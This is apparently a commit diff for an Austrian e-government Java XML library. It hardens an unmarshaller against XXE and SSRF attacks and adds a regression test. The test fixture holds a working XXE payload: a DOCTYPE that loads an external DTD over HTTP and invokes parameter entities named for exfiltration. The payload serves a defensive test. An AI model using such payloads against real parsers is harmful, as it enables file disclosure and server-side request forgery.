implement a workaround to fix XXE and SSRF problems in an old XMLStreamParser implementation of a third party library

3 files changed, 113 insertions, 8 deletions

diff --git a/utils/src/main/java/at/gv/egiz/slbinding/SLUnmarshaller.java b/utils/src/main/java/at/gv/egiz/slbinding/SLUnmarshaller.java
index de1b2ddf..2d1808c8 100644
--- a/utils/src/main/java/at/gv/egiz/slbinding/SLUnmarshaller.java
+++ b/utils/src/main/java/at/gv/egiz/slbinding/SLUnmarshaller.java
@@ -25,7 +25,10 @@
 
 package at.gv.egiz.slbinding;
 
+import java.io.ByteArrayInputStream;
 import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
 import java.net.URL;
 import java.util.Arrays;
 import java.util.Collection;
@@ -38,6 +41,8 @@ import javax.xml.bind.JAXBException;
 import javax.xml.bind.UnmarshalException;
 import javax.xml.bind.Unmarshaller;
 import javax.xml.bind.ValidationEvent;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
 import javax.xml.stream.XMLEventReader;
 import javax.xml.stream.XMLInputFactory;
 import javax.xml.stream.XMLStreamException;
@@ -46,6 +51,7 @@ import javax.xml.transform.stream.StreamSource;
 import javax.xml.validation.Schema;
 import javax.xml.validation.SchemaFactory;
 
+import org.apache.commons.io.IOUtils;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.xml.sax.SAXException;
@@ -237,17 +243,67 @@ public class SLUnmarshaller {
 public Object unmarshal(StreamSource source) throws XMLStreamException, JAXBException {
     
     ReportingValidationEventHandler validationEventHandler = new ReportingValidationEventHandler();
-//    System.setProperty("javax.xml.stream.XMLInputFactory", "com.sun.xml.stream.ZephyrParserFactory");
-//    System.setProperty("com.sun.xml.stream.ZephyrParserFactory", "com.sun.xml.stream.ZephyrParserFactory");
-//    XMLInputFactory inputFactory = XMLInputFactory.newInstance("com.sun.xml.stream.ZephyrParserFactory", null);
-    
+    Reader inputReader = source.getReader();
+        
+    if (inputReader instanceof InputStreamReader) {
+    	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+    	
+    	try {
+			dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
+			dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+			dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+			dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
+						
+		} catch (ParserConfigurationException e) {
+			log.error("Can NOT set Xerces parser security features. -> XML parsing is possible insecure!!!! ", e);
+			
+		}
+    	    	        
+        try {        	
+        	//create copy of input stream
+        	InputStreamReader isReader = (InputStreamReader) inputReader;
+        	String encoding = isReader.getEncoding();        	
+        	byte[] backup = IOUtils.toByteArray(isReader, encoding);
+
+        	//validate input stream        	
+        	dbf.newDocumentBuilder().parse(new ByteArrayInputStream(backup));
+        	    		
+    		//create new inputStreamReader for reak processing
+    		inputReader = new InputStreamReader(new ByteArrayInputStream(backup), encoding);
+    		
+    		
+    	} catch (SAXException e) {
+    		log.error("XML data validation FAILED with msg: " + e.getMessage(), e);
+    		throw new XMLStreamException("XML data validation FAILED with msg: " + e.getMessage(), e);
+
+
+    	} catch (ParserConfigurationException e) {
+    		log.error("XML data validation FAILED with msg: " + e.getMessage(), e);
+    		throw new XMLStreamException("XML data validation FAILED with msg: " + e.getMessage(), e);
+    		
+    	} catch (IOException e) {
+    		log.error("XML data validation FAILED with msg: " + e.getMessage(), e);
+    		throw new XMLStreamException("XML data validation FAILED with msg: " + e.getMessage(), e);
+    		
+		}
+    	    	
+    } else {
+    	log.error("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
+    	log.error("Reader is not of type InputStreamReader -> can not make a copy of the InputStream --> extended XML validation is not possible!!! ");
+    	log.error("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
+    	
+    }
+        
+    //parse XML with original functionality
     XMLInputFactory inputFactory = XMLInputFactory.newInstance();
     
     //disallow DTD and external entities
     inputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
     inputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
     
-    XMLEventReader eventReader = inputFactory.createXMLEventReader(source.getReader());
+    
+    
+    XMLEventReader eventReader = inputFactory.createXMLEventReader(inputReader);
     RedirectEventFilter redirectEventFilter = new RedirectEventFilter();
     XMLEventReader filteredReader = inputFactory.createFilteredReader(eventReader, redirectEventFilter);
 
@@ -255,8 +311,8 @@ public Object unmarshal(StreamSource source) throws XMLStreamException, JAXBExce
     unmarshaller.setEventHandler(validationEventHandler);
 
     unmarshaller.setListener(new RedirectUnmarshallerListener(redirectEventFilter));
-    unmarshaller.setSchema(slSchema);
-
+    unmarshaller.setSchema(slSchema);    
+    
     Object object;
     try {
       log.trace("Before unmarshal().");
diff --git a/utils/src/test/java/at/gv/egiz/slbinding/UnmarshallCXSRTest.java b/utils/src/test/java/at/gv/egiz/slbinding/UnmarshallCXSRTest.java
index 99c11cbe..62a8d622 100644
--- a/utils/src/test/java/at/gv/egiz/slbinding/UnmarshallCXSRTest.java
+++ b/utils/src/test/java/at/gv/egiz/slbinding/UnmarshallCXSRTest.java
@@ -25,6 +25,7 @@
 
 package at.gv.egiz.slbinding;
 
+import java.io.BufferedInputStream;
 import java.io.InputStream;
 import java.io.InputStreamReader;
 
@@ -49,7 +50,7 @@ public class UnmarshallCXSRTest {
     assertNotNull(s);
     
     SLUnmarshaller unmarshaller = new SLUnmarshaller();
-    Object object = unmarshaller.unmarshal(new StreamSource(new InputStreamReader(s)));
+    Object object = unmarshaller.unmarshal(new StreamSource(new InputStreamReader(new BufferedInputStream(s))));
 
     assertTrue(object.getClass().getName(), object instanceof JAXBElement<?>);
 
@@ -59,4 +60,27 @@ public class UnmarshallCXSRTest {
     
   }
   
+  @Test
+  public void testUnmarshalCreateXMLSignatureResponseWithDocTypeXXEOrSSRF() throws JAXBException {
+    
+    ClassLoader cl = UnmarshallCXSRTest.class.getClassLoader();
+    InputStream s = cl.getResourceAsStream("at/gv/egiz/slbinding/CreateXMLSignatureResponse_with_Attacke.xml");
+    
+    assertNotNull(s);
+    
+    SLUnmarshaller unmarshaller = new SLUnmarshaller();
+    Object object;
+	try {
+		object = unmarshaller.unmarshal(new StreamSource(new InputStreamReader(new BufferedInputStream(s))));
+		
+	    assertTrue(object.getClass().getName(), object instanceof JAXBElement<?>);
+	    Object value = ((JAXBElement<?>) object).getValue();	    
+	    assertFalse(value.getClass().getName(), value instanceof CreateXMLSignatureResponseType);
+		
+	} catch (XMLStreamException e) {
+		assertTrue(e.getClass().getName(), e instanceof XMLStreamException);
+		
+	}    
+  }
+  
 }
diff --git a/utils/src/test/resources/at/gv/egiz/slbinding/CreateXMLSignatureResponse_with_Attacke.xml b/utils/src/test/resources/at/gv/egiz/slbinding/CreateXMLSignatureResponse_with_Attacke.xml
new file mode 100644
index 00000000..8684d860
--- /dev/null
+++ b/utils/src/test/resources/at/gv/egiz/slbinding/CreateXMLSignatureResponse_with_Attacke.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [
+    <!ELEMENT r ANY >
+    <!ENTITY % sp SYSTEM "http://update.egiz.gv.at/test.dtd">
+    %sp;
+    %param1;
+    %exfil;
+]><sl:CreateXMLSignatureResponse xmlns:sl="http://www.buergerkarte.at/namespaces/securitylayer/1.2#" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Signature Id="Signature-e5381f3d-1" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:SignedInfo Id="SignedInfo-e5381f3d-1"><dsig:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><dsig:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#ecdsa-sha1"/><dsig:Reference Id="Reference-e5381f3d-1" URI="test.txt"><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><dsig:DigestValue>7Dp/5KcvUfCnkohkOOzvFaeAIRc=</dsig:DigestValue></dsig:Reference><dsig:Reference Id="Reference-e5381f3d-2" Type="http://uri.etsi.org/01903/v1.1.1#SignedProperties" URI="#xmlns(xades=http://uri.etsi.org/01903/v1.1.1%23)%20xpointer(id('Object-e5381f3d-1')/child::xades:QualifyingProperties/child::xades:SignedProperties)"><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><dsig:DigestValue>fCbFrz0xI0wiN+PPn4leURvfdIo=</dsig:DigestValue></dsig:Reference></dsig:SignedInfo><dsig:SignatureValue Id="SignatureValue-e5381f3d-1">Zozx+mW/lHUO8q02DBK3Aud/sSpVdWGjfBScZDBjuzLyQyrRlXH2xo3lij5/xJa0</dsig:SignatureValue><dsig:KeyInfo><dsig:X509Data><dsig:X509Certificate>MIIDdzCCAd+gAwIBAgIRMqGxalf5fUuhqgSjs+IArBMwDQYJKoZIhvcNAQEFBQAw
+TTESMBAGA1UEAwwJVlNpZyBDQSAyMSowKAYDVQQKDCFIYXVwdHZlcmJhbmQgw7Zz
+dGVyci4gU296aWFsdmVycy4xCzAJBgNVBAYTAkFUMB4XDTA2MTEwODA1MjYxN1oX
+DTExMTEwODA1MjYxN1owYTEXMBUGA1UEAwwOTWFydGluIENlbnRuZXIxKjAoBgNV
+BAoMIUhhdXB0dmVyYmFuZCDDtnN0ZXJyLiBTb3ppYWx2ZXJzLjENMAsGA1UECwwE
+VlNpZzELMAkGA1UEBhMCQVQwSTATBgcqhkjOPQIBBggqhkjOPQMBAQMyAASZohyZ
+R1JDH+sANEROtE5LQFFepjfo5Xk7eRtrpnfa1MFhEOfYXxElEInOVFU049+jgZgw
+gZUwEwYDVR0jBAwwCoAISGl1XDyvIyowEQYDVR0OBAoECESRXVYYhLE8MA4GA1Ud
+DwEB/wQEAwIGwDAWBgNVHSAEDzANMAsGCSooAAoBBAFmADBDBggrBgEFBQcBAQQ3
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+cnVuZy5hdDANBgkqhkiG9w0BAQUFAAOCAYEAPTDL/MLfmNw0VcHqny3lNi30hL8z
+OtyiwQRo7QFA98Pm+8WPyQjyK0UVIej+NZVIVSU7WdYWVuu+au8bd3B10WBikLMl
+QfEWqYDHGp+bfB4GB4WVeS78tNmXaacXjzLqae/KLALRn/dVBN/acf3C+Ey3kSYw
+/96J+qgbaowlT18OvUTs1ABHgut1x31hLIgTj0R5nzfOOUXXnUN+rWm5SuaNMTHW
+NMNhM6Y4jfACOsudmboeIZfgrmbDtCa2lLU95Mct2dcbBsnMRFUYoZc+9eEI/xCH
+JdzFZp1DAyqzb6Y84YUr+QDCxJT5BVdU0zTI73t0ls64556ifsfq/2sixHeQgMSM
+z/qQfPUC9so32sDPNHHNbKVYx9m0VpPwekWXBEVJWFffQbPe55deZ+uVFLOG4y0G
+c+o3eXV2Vs9te1OoA+KRow8kjL7iil06DNOddeDQVPj7zqRQtoLKMLTJflfZp5pd
+UPEZNM5Pw92T501vzHO9JNv5f/Wp3PTskBNJ</dsig:X509Certificate></dsig:X509Data></dsig:KeyInfo><dsig:Object Id="Object-e5381f3d-1"><xades:QualifyingProperties xmlns:xades="http://uri.etsi.org/01903/v1.1.1#" Target="#Signature-e5381f3d-1" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:sl="http://www.buergerkarte.at/namespaces/securitylayer/1.2#"><xades:SignedProperties Id="SignedProperties-e5381f3d-1"><xades:SignedSignatureProperties><xades:SigningTime>2010-04-20T06:08:36Z</xades:SigningTime><xades:SigningCertificate><xades:Cert><xades:CertDigest><xades:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><xades:DigestValue>GF2imE3FjjqwM8BH0RY+VjtiAI8=</xades:DigestValue></xades:CertDigest><xades:IssuerSerial><dsig:X509IssuerName>C=AT,O=Hauptverband österr. Sozialvers.,CN=VSig CA 2</dsig:X509IssuerName><dsig:X509SerialNumber>17229045246817736659347185373920056355859</dsig:X509SerialNumber></xades:IssuerSerial></xades:Cert></xades:SigningCertificate><xades:SignaturePolicyIdentifier><xades:SignaturePolicyImplied/></xades:SignaturePolicyIdentifier></xades:SignedSignatureProperties><xades:SignedDataObjectProperties><xades:DataObjectFormat ObjectReference="#Reference-e5381f3d-1"><xades:MimeType>text/plain</xades:MimeType></xades:DataObjectFormat></xades:SignedDataObjectProperties></xades:SignedProperties></xades:QualifyingProperties></dsig:Object></dsig:Signature></sl:CreateXMLSignatureResponse>
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